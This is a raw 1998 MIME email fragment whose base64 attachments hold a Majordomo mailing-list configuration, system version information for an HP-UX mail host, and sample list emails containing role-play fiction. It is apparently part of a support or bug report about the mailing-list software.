IHRoZSBzdWJzY3JpYmUNCgkjIGNvbW1hbmQuDQpzZW5kZXIgICAgICAgICAg ICAgID0gICBvd25lci1hbWlkc3RkYXJrbmVzcw0KDQoJIyBzdHJpcCAgICAg ICAgICAgICAgICBbYm9vbF0gKHllcykgPG1ham9yZG9tbz4NCgkjIFdoZW4g YWRkaW5nIGFkZHJlc3MgdG8gdGhlIGxpc3QsIHN0cmlwIG9mZiBhbGwgY29t bWVudHMgZXRjLCBhbmQNCgkjIHB1dCBqdXN0IHRoZSByYXcgYWRkcmVzcyBp biB0aGUgbGlzdCBmaWxlLiAgSW4gYWRkaXRpb24gdG8gdGhlDQoJIyBrZXl3 b3JkLCBpZiB0aGUgZmlsZSA8bGlzdG5hbWU+LnN0cmlwIGV4aXN0cywgaXQg aXMgdGhlIHNhbWUgYXMNCgkjIHNwZWNpZnlpbmcgYSB5ZXMgdmFsdWUuIFRo YXQgeWVzIHZhbHVlIGlzIG92ZXJyaWRkZW4gYnkgdGhlIHZhbHVlDQoJIyBv ZiB0aGlzIGtleXdvcmQuDQpzdHJpcCAgICAgICAgICAgICAgID0gICB5ZXMN Cg0KCSMgc3ViamVjdF9wcmVmaXggICAgICAgW3dvcmRdICh1bmRlZikgPHJl c2VuZD4NCgkjIFRoaXMgd29yZCB3aWxsIGJlIHByZWZpeGVkIHRvIHRoZSBz dWJqZWN0IGxpbmUsIGlmIGl0IGlzIG5vdA0KCSMgYWxyZWFkeSBpbiB0aGUg c3ViamVjdC4gVGhlIHRleHQgaXMgZXhwYW5kZWQgYmVmb3JlIGJlaW5nIHVz ZWQuDQoJIyBUaGUgZm9sbG93aW5nIGV4cGFuc2lvbiB0b2tlbnMgYXJlIGRl ZmluZWQ6ICRMSVNUIC0gdGhlIG5hbWUgb2YNCgkjIHRoZSBjdXJyZW50IGxp c3QsICRTRU5ERVIgLSB0aGUgc2VuZGVyIGFzIHRha2VuIGZyb20gdGhlIGZy b20NCgkjIGxpbmUsICRWRVJTSU9OLCB0aGUgdmVyc2lvbiBvZiBtYWpvcmRv bW8uDQpzdWJqZWN0X3ByZWZpeCAgICAgID0gICBbQW1pZHN0RGFya25lc3Nd DQoNCgkjIHN1YnNjcmliZV9wb2xpY3kgICAgIFtlbnVtXSAob3Blbitjb25m aXJtKSA8bWFqb3Jkb21vPiAvb3BlbjtjbG9zZWQNCgkjIE9uZSBvZiB0aHJl ZSB2YWx1ZXM6IG9wZW4sIGNsb3NlZCwgYXV0bzsgcGx1cyBhbiBvcHRpb25h bA0KCSMgbW9kaWZpZXI6ICcrY29uZmlybScuICBPcGVuIGFsbG93cyBwZW9w bGUgdG8gc3Vic2NyaWJlIHRoZW1zZWx2ZXMNCgkjIHRvIHRoZSBsaXN0LiBB dXRvIGFsbG93cyBhbnlib2R5IHRvIHN1YnNjcmliZSBhbnlib2R5IHRvIHRo ZSBsaXN0DQoJIyB3aXRob3V0IG1haW50YWluZXIgYXBwcm92YWwuIENsb3Nl ZCByZXF1aXJlcyBtYWludGFpbmVyIGFwcHJvdmFsDQoJIyBmb3IgYWxsIHN1 YnNjcmliZSByZXF1ZXN0cyB0byB0aGUgbGlzdC4gIEFkZGluZyAnK2NvbmZp cm0nLCBpZSwNCgkjICdvcGVuK2NvbmZpcm0nLCB3aWxsIGNhdXNlIG1ham9y ZG9tbyB0byBzZW5kIGEgcmVwbHkgYmFjayB0byB0aGUNCgkjIHN1YnNjcmli ZXIgd2hpY2ggaW5jbHVkZXMgYSBhdXRoZW50aWNhdGlvbiBudW1iZXIgd2hp Y2ggbXVzdCBiZQ0KCSMgc2VudCBiYWNrIGluIHdpdGggYW5vdGhlciBzdWJz Y3JpYmUgY29tbWFuZC4NCnN1YnNjcmliZV9wb2xpY3kgICAgPSAgIG9wZW4r Y29uZmlybQ0KDQoJIyB0YWJvb19ib2R5ICAgICAgICAgICBbcmVnZXhwX2Fy cmF5XSAodW5kZWYpIDxyZXNlbmQ+DQoJIyBJZiBhbnkgbGluZSBvZiB0aGUg Ym9keSBtYXRjaGVzIG9uZSBvZiB0aGVzZSByZWdleHBzLCB0aGVuIHRoZQ0K CSMgbWVzc2FnZSB3aWxsIGJlIGJvdW5jZWQgZm9yIHJldmlldy4NCnRhYm9v X2JvZHkgICAgICAgICAgPDwgIEVORA0KDQpFTkQNCg0KCSMgdGFib29faGVh ZGVycyAgICAgICAgW3JlZ2V4cF9hcnJheV0gKHVuZGVmKSA8cmVzZW5kPg0K CSMgSWYgYW55IG9mIHRoZSBoZWFkZXJzIG1hdGNoZXMgb25lIG9mIHRoZXNl IHJlZ2V4cHMsIHRoZW4gdGhlDQoJIyBtZXNzYWdlIHdpbGwgYmUgYm91bmNl ZCBmb3IgcmV2aWV3Lg0KdGFib29faGVhZGVycyAgICAgICA8PCAgRU5EDQoN CkVORA0KDQoJIyB1bnN1YnNjcmliZV9wb2xpY3kgICBbZW51bV0gKG9wZW4p IDxtYWpvcmRvbW8+IC9vcGVuO2Nsb3NlZDthdXRvLw0KCSMgT25lIG9mIHRo cmVlIHZhbHVlczogb3BlbiwgY2xvc2VkLCBhdXRvLiAgT3BlbiBhbGxvd3Mg cGVvcGxlIHRvDQoJIyB1bnN1YnNjcmliZSB0aGVtc2VsdmVzIGZyb20gdGhl IGxpc3QuIEF1dG8gYWxsb3dzIGFueWJvZHkgdG8NCgkjIHVuc3Vic2NyaWJl IGFueWJvZHkgdG8gdGhlIGxpc3Qgd2l0aG91dCBtYWludGFpbmVyIGFwcHJv dmFsLiBUaGUNCgkjIGV4aXN0ZW5jZSBvZiB0aGUgZmlsZSA8bGlzdG5hbWU+ LmF1dG8gaXMgdGhlIHNhbWUgYXMgc3BlY2lmeWluZw0KCSMgdGhlIHZhbHVl IGF1dG8uICBDbG9zZWQgcmVxdWlyZXMgbWFpbnRhaW5lciBhcHByb3ZhbCBm b3IgYWxsDQoJIyB1bnN1YnNjcmliZSByZXF1ZXN0cyB0byB0aGUgbGlzdC4g SW4gYWRkaXRpb24gdG8gdGhlIGtleXdvcmQsIGlmDQoJIyB0aGUgZmlsZSA8 bGlzdG5hbWU+LmNsb3NlZCBleGlzdHMsIGl0IGlzIHRoZSBzYW1lIGFzIHNw ZWNpZnlpbmcNCgkjIHRoZSB2YWx1ZSBjbG9zZWQuIFRoZSB2YWx1ZSBvZiB0 aGlzIGtleXdvcmQgb3ZlcnJpZGVzIHRoZSB2YWx1ZQ0KCSMgc3VwcGxpZWQg YnkgYW55IGV4aXN0ZW50IGZpbGVzLg0KdW5zdWJzY3JpYmVfcG9saWN5ICA9 ICAgb3Blbg0KDQoJIyB3ZWxjb21lICAgICAgICAgICAgICBbYm9vbF0gKHll cykgPG1ham9yZG9tbz4NCgkjIElmIHNldCB0byB5ZXMsIGEgd2VsY29tZSBt ZXNzYWdlIChhbmQgb3B0aW9uYWwgJ2ludHJvJyBmaWxlKSB3aWxsDQoJIyBi ZSBzZW50IHRvIHRoZSBuZXdseSBzdWJzY3JpYmVkIHVzZXIuDQp3ZWxjb21l ICAgICAgICAgICAgID0gICB5ZXMNCg0KCSMgd2hpY2hfYWNjZXNzICAgICAg ICAgW2VudW1dIChvcGVuKSA8bWFqb3Jkb21vPiAvb3BlbjtjbG9zZWQ7bGlz dC8NCgkjIE9uZSBvZiB0aHJlZSB2YWx1ZXM6IG9wZW4sIGxpc3QsIGNsb3Nl ZC4gT3BlbiBhbGxvd3MgYW55b25lDQoJIyBhY2Nlc3MgdG8gdGhpcyBjb21t YW5kIGFuZCBjbG9zZWQgY29tcGxldGVseSBkaXNhYmxlcyB0aGUgY29tbWFu ZA0KCSMgZm9yIGV2ZXJ5b25lLiBMaXN0IGFsbG93cyBvbmx5IGxpc3QgbWVt YmVycyBhY2Nlc3MsIG9yIGlmDQoJIyByZXN0cmljdF9wb3N0IGlzIGRlZmlu ZWQsIG9ubHkgdGhlIGFkZHJlc3NlcyBpbiB0aG9zZSBmaWxlcyBhcmUNCgkj IGFsbG93ZWQgYWNjZXNzLg0Kd2hpY2hfYWNjZXNzICAgICAgICA9ICAgb3Bl bg0KDQoJIyB3aG9fYWNjZXNzICAgICAgICAgICBbZW51bV0gKG9wZW4pIDxt YWpvcmRvbW8+IC9vcGVuO2Nsb3NlZDtsaXN0Lw0KCSMgT25lIG9mIHRocmVl IHZhbHVlczogb3BlbiwgbGlzdCwgY2xvc2VkLiBPcGVuIGFsbG93cyBhbnlv bmUNCgkjIGFjY2VzcyB0byB0aGlzIGNvbW1hbmQgYW5kIGNsb3NlZCBjb21w bGV0ZWx5IGRpc2FibGVzIHRoZSBjb21tYW5kDQoJIyBmb3IgZXZlcnlvbmUu IExpc3QgYWxsb3dzIG9ubHkgbGlzdCBtZW1iZXJzIGFjY2Vzcywgb3IgaWYN CgkjIHJlc3RyaWN0X3Bvc3QgaXMgZGVmaW5lZCwgb25seSB0aGUgYWRkcmVz c2VzIGluIHRob3NlIGZpbGVzIGFyZQ0KCSMgYWxsb3dlZCBhY2Nlc3MuDQp3 aG9fYWNjZXNzICAgICAgICAgID0gICBvcGVuDQo= ---559023410-15952070-908280313=:3779 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=info Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: system information Content-Disposition: ATTACHMENT; FILENAME=info YXJjYWRpYShtYWpvcmRvbSk6fiAlIHVuYW1lIC1hDQpIUC1VWCBhcmNhZGlh IEEuMDkuMDUgQSA5MDAwLzczNQ0KDQphcmNhZGlhKG1ham9yZG9tKTp+ICUg cGVybCAtdg0KDQpUaGlzIGlzIHBlcmwsIHZlcnNpb24gNS4wMDMgd2l0aCBF TUJFRA0KICAgICAgICBidWlsdCB1bmRlciBocHV4IGF0IEphbiAgOCAxOTk3 IDEzOjExOjE4DQogICAgICAgICsgc3VpZHBlcmwgc2VjdXJpdHkgcGF0Y2gN Cg0KQ29weXJpZ2h0IDE5ODctMTk5NiwgTGFycnkgV2FsbA0KDQpQZXJsIG1h eSBiZSBjb3BpZWQgb25seSB1bmRlciB0aGUgdGVybXMgb2YgZWl0aGVyIHRo ZSBBcnRpc3RpYyBMaWNlbnNlIG9yIHRoZQ0KR05VIEdlbmVyYWwgUHVibGlj IExpY2Vuc2UsIHdoaWNoIG1heSBiZSBmb3VuZCBpbiB0aGUgUGVybCA1LjAg c291cmNlIGtpdC4NCg0KYXJjYWRpYShtYWpvcmRvbSk6fiAlIC91c3IvbGli L3NlbmRtYWlsIC1kMC40IC1idnUNClZlcnNpb24gOC43LjUNCiBDb21waWxl ZCB3aXRoOiBMT0cgTUFUQ0hHRUNPUyBNSU1FOFRPNyBOQU1FRF9CSU5EIE5E Qk0gTkVUSU5FVCBORVRVTklYDQogICAgICAgICAgICAgICAgTklTIFNDQU5G IFhERUJVRw0KY2Fub25pY2FsIG5hbWU6IGFyY2FkaWEuaW5mb3JtYXRpay51 bmktbXVlbmNoZW4uZGUNCiBVVUNQIG5vZGVuYW1lOiBhcmNhZGlhDQogICAg ICAgIGEuay5hLjogWzEyOS4xODcuMjE0LjEzM10NCg0KPT09PT09PT09PT09 IFNZU1RFTSBJREVOVElUWSAoYWZ0ZXIgcmVhZGNmKSA9PT09PT09PT09PT0N CiAgICAgIChzaG9ydCBkb21haW4gbmFtZSkgJHcgPSBhcmNhZGlhDQogIChj YW5vbmljYWwgZG9tYWluIG5hbWUpICRqID0gYXJjYWRpYS5pbmZvcm1hdGlr LnVuaS1tdWVuY2hlbi5kZQ0KICAgICAgICAgKHN1YmRvbWFpbiBuYW1lKSAk bSA9IGluZm9ybWF0aWsudW5pLW11ZW5jaGVuLmRlDQogICAgICAgICAgICAg IChub2RlIG5hbWUpICRrID0gYXJjYWRpYQ0KPT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPj4+ PiBoZWxwDQoNClRoaXMgaGVscCBtZXNzYWdlIGlzIGJlaW5nIHNlbnQgdG8g eW91IGZyb20gdGhlIE1ham9yZG9tbyBtYWlsaW5nIGxpc3QNCm1hbmFnZW1l bnQgc3lzdGVtIGF0IE1ham9yZG9tb0BvYXNpcy5sZW8ub3JnLg0KDQpUaGlz IGlzIHZlcnNpb24gMS45NC40IG9mIE1ham9yZG9tby4NCg== ---559023410-15952070-908280313=:3779 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=mailbox Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: sample emails Content-Disposition: ATTACHMENT; FILENAME=mailbox RnJvbSBNQUlMRVItREFFTU9OIFR1ZSBPY3QgMTMgMTQ6MDA6NTkgMTk5OA0K RGF0ZTogVHVlLCAxMyBPY3QgMTk5OCAxNDowMDo1OSArMDIwMCAoTUVUIERT VCkNCkZyb206IE1haWwgU3lzdGVtIEludGVybmFsIERhdGEgPE1BSUxFUi1E QUVNT05AZWduZXR6LnVlYmVtYy5zaWVtZW5zLmRlPg0KU3ViamVjdDogRE9O J1QgREVMRVRFIFRISVMgTUVTU0FHRSAtLSBGT0xERVIgSU5URVJOQUwgREFU QQ0KWC1JTUFQOiAwOTA4MjgwMDU5IDAwMDAwMDAwMDANClN0YXR1czogUk8N Cg0KVGhpcyB0ZXh0IGlzIHBhcnQgb2YgdGhlIGludGVybmFsIGZvcm1hdCBv ZiB5b3VyIG1haWwgZm9sZGVyLCBhbmQgaXMgbm90DQphIHJlYWwgbWVzc2Fn ZS4gIEl0IGlzIGNyZWF0ZWQgYXV0b21hdGljYWxseSBieSB0aGUgbWFpbCBz eXN0ZW0gc29mdHdhcmUuDQpJZiBkZWxldGVkLCBpbXBvcnRhbnQgZm9sZGVy IGRhdGEgd2lsbCBiZSBsb3N0LCBhbmQgaXQgd2lsbCBiZSByZS1jcmVhdGVk DQp3aXRoIHRoZSBkYXRhIHJlc2V0IHRvIGluaXRpYWwgdmFsdWVzLg0KDQpG cm9tIHpheDMzNzk1QGVnbmV0ei51ZWJlbWMuc2llbWVucy5kZSBUdWUgT2N0 IDEzIDAzOjEwOjU1IDE5OTggKzAyMDANClN0YXR1czogUg0KWC1TdGF0dXM6 IA0KWC1LZXl3b3JkczoNClJlY2VpdmVkOiBmcm9tIHJvY2sxMDEuZ2VuaWUu bmV0IChnZW5pZS5jb20gWzE5OS4xNjQuMTQwLjExXSkgDQogIGJ5IGFyY2Fk aWEuaW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGUgKDguNy41LzguNi45KSB3 aXRoIEVTTVRQIGlkIERBQTIxOTQzIA0KICBmb3IgPGFtaWRzdGRhcmtuZXNz QG9hc2lzLmxlby5vcmc+OyBUdWUsIDEzIE9jdCAxOTk4IDAzOjEwOjU0ICsw MTAwIChNRVopDQpGcm9tOiBzLmpvaG5zb24xMDdAZ2VuaWUuY29tDQpSZWNl aXZlZDogZnJvbSByb2NrMTAzLmdlbmllLm5ldCAocm9jazEwMy5pcy5nZS5j b20gWzIwNC45MC4xMzEuMTAzXSkNCglieSByb2NrMTAxLmdlbmllLm5ldCAo OC44LjgvOC44LjgpIHdpdGggRVNNVFAgaWQgQ0FBMjY4MjMNCglmb3IgPGFt aWRzdGRhcmtuZXNzQG9hc2lzLmxlby5vcmc+OyBUdWUsIDEzIE9jdCAxOTk4 IDAyOjEwOjU5IEdNVA0KUmVjZWl2ZWQ6IChmcm9tIHV1Y3BAbG9jYWxob3N0 KQ0KCWJ5IHJvY2sxMDMuZ2VuaWUubmV0ICg4LjguOC84LjguOCkgaWQgQ0FB MjIwMTENCglmb3IgYW1pZHN0ZGFya25lc3NAb2FzaXMubGVvLm9yZzsgVHVl LCAxMyBPY3QgMTk5OCAwMjoxMDo1OCBHTVQNCk1lc3NhZ2UtSWQ6IDwxOTk4 MTAxMzAyMTAuQ0FBMjIwMTFAcm9jazEwMy5nZW5pZS5uZXQ+DQpSZWNlaXZl ZDogYnkgKGdlbmllLilyb2NrMTAzLmdlbmllLm5ldA0KICAoIDJyZW0vMS40 NCApICAgICAgOyBUdWUsIDEzIE9jdCA5OCAwMjoxMDo1OCBHTVQgDQogICgg ZnJvbSBpbmV0IyAgICAgICA7IFR1ZSwgMTMgT2N0IDk4IDAyOjEwOjQwIEdN VCApDQpEYXRlOiBUdWUsIDEzIE9jdCA5OCAwMjowNDowMCBHTVQgDQpUbzog YW1pZHN0ZGFya25lc3NAb2FzaXMubGVvLm9yZw0KWC1nZW5pZS1RSy1Gcm9t OiBTLkpPSE5TT04xMDcNClgtZ2VuaWUtUUstSWQ6IDkyMzU4OTkNClgtZ2Vu aWUtR2F0ZXdheS1JZDogMzgzODMyDQpNaW1lLVZlcnNpb246IDEuMA0KQ29u dGVudC1UcmFuc2Zlci1FbmNvZGluZzogN2JpdA0KQ29udGVudC1UeXBlOiB0 ZXh0L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINClN1YmplY3Q6IFdlbi1o dWFuICYgQWxhaW4NCg0KPiA+PiAiVGhlIGZ1dHVyZSBpcyBsaWtlIGEgcml2 ZXIsIGl0J3MgYmFua3MgZGVmaW5lZCBhbmQgaXQncyBjb3Vyc2UgbGFpZA0K PiA+PiBvdXQuICBZb3VyIGpvdXJuZXkgZG93biBpdCBob3dldmVyIGlzIGRp ZmZlcmVudCBldmVyeSB0aW1lIHlvdSB0cmF2ZWwNCj4gPj4gaXQgaG93ZXZl ci4iICBXZW4taHVhbiByZXBsaWVzLg0KPiA+IEFsYWluIGxhdWdocy4gIkdv b2Qgc28sIGlzbid0IGl0LiBIb3cgY3Vyc2VkIHdlIHdlcmUgaWYgdGhlIGZ1 dHVyZSB3YXMNCj4gPiB1bmNoYW5naW5nLiAtIFNvLCBpdCdzIGEgZ2FtYmxl IGFmdGVyIGFsbC4gT25lIHdheSBvciB0aGUgb3RoZXIuIg0KPiAgICAgICAg IFdlbi1odWFuIHNocnVncy4gICJUaGUgQXJjYWRpYSBvZiB0aGUgRmFlIGZh bGxzIHRvIHRoZSBGb3JjZXMgb2YgdGhlDQo+IENocmlzdGlhbiBIZWxsIGFu ZCB3b3JzZSwgdGhlaXIgYXJpc2VzIGFuIHVuc3RvcHBhYmxlIHRpZGUgb2Yg T3JkZXIgYW5kDQo+IFJlYXNvbiB0aGF0IGxlYWRzIHRvIHRoZSBkZWF0aCBv ZiBpbWFnaW5hdGlvbiBhbmQgdXR0ZXIgc3Rhc2lzLCB0aGVuIHRoZQ0KPiBO ZXBoYW5kaSB3aW4sIHNsYXVnaHRlciB1cyBhbGwgYW5kIEdhaWEgc3RhcnRz IGFmcmVzaC4iDQoNClN0aWxsLCB0aGUgY2hldmFsaWVyIHNtaWxlcywgYnV0 IHRoZSBzbWlsZSBpcyBtb3JlIHNlcmlvdXMsIGFuZCBoaXMgZ2F6ZQ0KcmVz dGluZyBvbiBXZW4taHVhbiBhcyBpZiB3YXRjaGluZyBoaXMgc291bC4gIkRv bid0IGJlIHRvbyBzdXJlIG9mIHRoYXQNCnlvdW5nIGZyaWVuZCwgeW91IHNh aWQgeW91cnNlbGYgdGhhdCB0aGUgZnV0dXJlIGlzIGV2ZXItY2hhbmdpbmcu Li4iDQoNCj4gPj4gV2VuLWh1YW4gdHVybnMgYmFjayBhbmQgc2hydWdzLiAg IkZhdGUuLi4gaXMgbm90IHVubGlrZSBzbyBtYW55IHdvbWVuLA0KPiA+PiBz aGUgY2FuIGJlIGluZmx1ZW5jZWQgYW5kIHNoZSBlbmpveXMgc2hvd2luZyBh IGJpdCBvZiBoZXJzZWxmIHRvIHRoZQ0KPiA+PiBrbm93aW5nIGV5ZS4iDQo+ ID4gIi4uLiBidXQgcmVtYWlucyBhIG15c3RlcnkgYXQgdGhlIGVuZCBuZXZl cnRoZWxlc3MuIg0KPiAgICAgICAgICJJcyB0aGF0IG5vdCBldmVyIHRoZSB3 YXkgb2Ygd29tZW4/IiAgV2VuLWh1YW4gc2F5cyB3aXRoIGEgc21pbGUuDQo+ ICJUaG91Z2ggdGhleSBjbGFpbSB3ZSBhcmUgYSBteXN0ZXJ5IHRvIHRoZW0g YXMgd2VsbCEiDQoNClRoZSBtYW4gbGF1Z2hzLiAiQnV0IG9mIGNvdXJzZSEi DQoNCj4gPj4gIklmIGl0IGlzIG5vdCwgdGhhbiB0aGUgc3R1ZGVudCB3aWxs IGRlc3Ryb3kgdGhlbXNlbHZlcyBzb29uIGVub3VnaC4iDQo+ID4+IFdlbi1o dWFuIHJlcGxpZXMgd2l0aCB1dHRlciBjZXJ0YWludHkuDQo+ID4gQWxhaW4g ZW5kcyBXZW4tSHVhbidzIHNlbnRlbmNlIHN0ZXJubHkuICJTbyBpdCBzaG91 bGQgYmUgc2VjdXJlZCB0aGF0DQo+ID4gdGhlIHN0dWRlbnQgdGFrZXMgbm90 IHRvIG1hbnkgd2l0aCBoaW0gaW4gaGlzIGRlc3RydWN0aW9uLi4uIg0KPiA+ IFNpciBSYXBoYWVsIGxvb2tzIHVwIGZyb20gaGlzIGNvbnZlcnNhdGlvbiB3 aXRoIFNpbHZhcmEuLi4NCj4gICAgICAgICAiTm8sIGNhcmUgbXVzdCBiZSB0 YWtlbiB0aGF0IHRoZSBzdHVkZW50IGRvZXMgbm90IGxlYXJuIHRvbyBtdWNo IHRvbw0KPiBzb29uIHNvIHRoYXQgdGhleSBoYXJtIHRoZW1zZWx2ZXMuICBU aGUgZmFpbHVyZSBvZiBhIHN0dWRlbnQgaXMgdGhlIGZhdWx0IG9mDQo+IHRo ZSBUZWFjaGVyLCBub3QgdGhlIHN0dWRlbnQuIiAgV2VuLWh1YW4gY291bnRl cnMgZ2VudGx5Lg0KDQoiWW91IGFyZSByaWdodCwgeWV0IGFsbCB0b28gb2Z0 ZW4gb25lIGRvZXMgbm90IGNhcmUgZW5vdWdoIGFib3V0IHRoaXMNCmZhY3Qu Ig0KU2lyIFJhcGhhZWwgZ2xhbmNlcyBhdCBXZW4taHVhbi4gIkhhdmUgeW91 IHRhdWdodCBzdHVkZW50cyB5ZXQ/Ig0KDQo+ID4+IHtPbmx5IHdoYXQgSSBo YXZlIGhlYXJkIGluIHJ1bW9yIGFuZCB0aGUgb2NjYXNzaW9uYWwgaWR5bCBl eHBsYWluYXRpb24ufQ0KPiA+PiBXZW4taHVhbiByZXBsaWVzIHdpdGggYSBz bWlsZSBvZiBoaXMgb3duLg0KPiA+IHtUaGVuIHlvdSBzdXJlbHkgaGF2ZSBi ZWVuIHdhcm5lZCBvZiB0aGUgU2VlcnMgb2YgQ2hyb25vcywgaGF2ZSB5b3Ug bm90P30NCj4gPiBTaGUgc21pbGVzIHdpdGggYSB3aW5rLg0KPiAgICAgICAg IHtXaG8/fSAgV2VuLWh1YW4gc2VuZHMgYmFjayBpbiByZXR1cm4uDQoNCntN eSB0cmFkaXRpb24sIFdlbi1IdWFufSBTaGUgc2VuZHMgd2l0aCB5ZXQgYW5v dGhlciBzb2Z0IGNodWNrbGUuLi4NCg0KPiBMYXRlci4uLg0KPg0KPiA+PiAi SSB3b3VsZCBlbmpveSBzcGVha2luZyB0byB0aGVtIEkgYmVsaWV2ZS4iICBX ZW4taHVhbiBzYXlzDQo+ID4+IHNwZWN1bGF0aXZlbHkuDQo+ID4gQWxhaW4g cmFpc2VzIGhpcyBleWVicm93cy4gIldob20/IFRoZSBHYXJvdSBvciB0aGUg bW9uc3RlcnM/Ig0KPiAgICAgICAgICJPbmUgbWFuJ3MgbW9uc3RlcnMgaXMg b2Z0ZW4gYW5vdGhlcnMgZnJpZW5kLiIgIFdlbi1odWFuIGxhdWdocy4NCj4g IlRob3VnaCBvZnRlbiBpdCdzIGp1c3QgYSBodW5ncnkgbW9uc3RlciEgIEJ1 dCB5b3UgbmV2ZXIga25vdyB1bnRpbCB5b3UgYXNrLg0KPiBTdGlsbCwgcGVy aGFwcyBpdCB3b3VsZCBiZSB3aXNlciB0byBzcGVhayB0byB0aGUgR2Fyb3Ug Zmlyc3QuIg0KDQoiV2lzZXIgaW5kZWVkLiIgQWxhaW4gY2h1Y2tsZXMsIHRo ZW4gc2VlbXMgdG8gdGhpbmsgb2Ygc29tZXRoaW5nIGJ1dA0KYXBwYXJlbnRs eSBkZWNpZGVzIG5vdCB0byBzcGVhayBpdCBvdXQuDQoNCj4gPiBUaGUgY2hl dmFsaWVyIHNtaWxlcyBzYXRpc2ZpZWQuICJHb29kLiBWZXJ5IGdvb2QuIiBU aGVuIGhlIGdyaW5zDQo+ID4gYm95aXNobHkuICJJbmRpdmlkdWFsaXR5IHNo b3VsZCBuZXZlciBiZSBhIHJlYXNvbiBmb3IgcGVyc29uYWwNCj4gPiBlbWJh cmFzc21lbnQuIiBIZSBtb3ZlcyBvbiBhYm91dCB0aGUgd2FsbHMgYW5kIFdl bi1IdWFuIGNhbiBzZWUgdGhlDQo+ID4gZ3VhcmRzIHdhdGNoaW5nIHRoZW0s IHRoZW4gdHVybmluZyB0byB3YXRjaCB0aGUgd29vZHMgYWdhaW4uDQo+ICAg ICAgICAgIkkgZmVhciB5b3UgaGF2ZSBnYWluZWQgdGhlIHdyb25nIGltcHJl c3Npb24sIGluZGl2aWR1YWxpdHkgaXMNCj4gc29tZXRoaW5nIHdlIEFrYXNo aWNzIGVuY291cmFnZS4iICBXZW4taHVhbiBib3dzIHNsaWdodGx5IHdpdGgg YSBzbWlsZS4NCj4gIkhvd2V2ZXIgd2Ugc2hvdWxkIG5vdCB0YWtlIGl0IHRv IGV4dHJlbWVzLiINCg0KIk9oLCBJIGhhdmUgdW5kZXJzdG9vZCBwZXJmZWN0 bHksIFdlbi1odWFuLiIgVGhlIG1hbiBzbWlsZXMuICJXb3VsZCB5b3UNCndh bnQgdG8gZ28gYW5kIHNwZWFrIHdpdGggdGhlbSBub3c/IFRoZSBHYXJvdSwg aXQgaXMuIg0KDQpTaXIgUmFwaGFlbA0KDQpGcm9tIHpheDMzNzk1QGVnbmV0 ei51ZWJlbWMuc2llbWVucy5kZSBUdWUgT2N0IDEzIDAyOjM5OjMzIDE5OTgg KzAyMDANClN0YXR1czogUg0KWC1TdGF0dXM6IA0KWC1LZXl3b3JkczoNClJl Y2VpdmVkOiBmcm9tIGxpbGx5LnBpbmcuZGUgKGxpbGx5LnBpbmcuZGUgWzE5 NS4zNy4xMjAuMl0pIA0KICBieSBhcmNhZGlhLmluZm9ybWF0aWsudW5pLW11 ZW5jaGVuLmRlICg4LjcuNS84LjYuOSkgd2l0aCBTTVRQIGlkIENBQTIxMDgw IA0KICBmb3IgPEFNSURTVERBUktORVNTQE9BU0lTLkxFTy5PUkc+OyBUdWUs IDEzIE9jdCAxOTk4IDAyOjM5OjMyICswMTAwIChNRVopDQpSZWNlaXZlZDog KHFtYWlsIDEzMTIyIGludm9rZWQgYnkgdWlkIDEwKTsgMTMgT2N0IDE5OTgg MDE6Mzk6MzcgLTAwMDANClJlY2VpdmVkOiBmcm9tIG5ld2FyY2FkaWEucGlu Zy5kZSBieSBsaWxseS5waW5nLmRlIHdpdGggVVVDUCAocm1haWwtMC4xLWZk Yyk7IDEzIE9jdCAxOTk4IDAxOjM5OjM3IC0wMDAwDQpSZWNlaXZlZDogYnkg bmV3YXJjYWRpYS5waW5nLmRlIChDcm9zc1BvaW50IHYzLjExKTsNCgkgIDEz IE9jdCAxOTk4IDAzOjMxOjU4ICswMjAwDQpEYXRlOiAxMyBPY3QgMTk5OCAw MzozMDowMCArMDIwMA0KRnJvbTogaGF3a0BuZXdhcmNhZGlhLnBpbmcuZGUg KD0/SVNPLTg4NTktMT9RP0V2aS1NYXJpYV9UPUZDbnRlPz0pDQpUbzogQU1J RFNUREFSS05FU1NAT0FTSVMuTEVPLk9SRw0KTWVzc2FnZS1JRDogPDcybzB4 Wk1MTWtCQG5ld2FyY2FkaWEucGluZy5kZT4NClN1YmplY3Q6IFJlOldlbi1o dWFuICYgQWxhaW4NClgtTWFpbGVyOiBDcm9zc1BvaW50IHYzLjExDQpNSU1F LVZlcnNpb246IDEuMA0KQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFy c2V0PXVzLWFzY2lpDQpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0 DQoNCj4gPj4gIlRoZSBmdXR1cmUgaXMgbGlrZSBhIHJpdmVyLCBpdCdzIGJh bmtzIGRlZmluZWQgYW5kIGl0J3MgY291cnNlIGxhaWQNCj4gPj4gb3V0LiAg WW91ciBqb3VybmV5IGRvd24gaXQgaG93ZXZlciBpcyBkaWZmZXJlbnQgZXZl cnkgdGltZSB5b3UgdHJhdmVsDQo+ID4+IGl0IGhvd2V2ZXIuIiAgV2VuLWh1 YW4gcmVwbGllcy4NCj4gPiBBbGFpbiBsYXVnaHMuICJHb29kIHNvLCBpc24n dCBpdC4gSG93IGN1cnNlZCB3ZSB3ZXJlIGlmIHRoZSBmdXR1cmUgd2FzDQo+ ID4gdW5jaGFuZ2luZy4gLSBTbywgaXQncyBhIGdhbWJsZSBhZnRlciBhbGwu IE9uZSB3YXkgb3IgdGhlIG90aGVyLiINCj4gICAgICAgICBXZW4taHVhbiBz aHJ1Z3MuICAiVGhlIEFyY2FkaWEgb2YgdGhlIEZhZSBmYWxscyB0byB0aGUg Rm9yY2VzIG9mIHRoZQ0KPiBDaHJpc3RpYW4gSGVsbCBhbmQgd29yc2UsIHRo ZWlyIGFyaXNlcyBhbiB1bnN0b3BwYWJsZSB0aWRlIG9mIE9yZGVyIGFuZA0K PiBSZWFzb24gdGhhdCBsZWFkcyB0byB0aGUgZGVhdGggb2YgaW1hZ2luYXRp b24gYW5kIHV0dGVyIHN0YXNpcywgdGhlbiB0aGUNCj4gTmVwaGFuZGkgd2lu LCBzbGF1Z2h0ZXIgdXMgYWxsIGFuZCBHYWlhIHN0YXJ0cyBhZnJlc2guIg0K 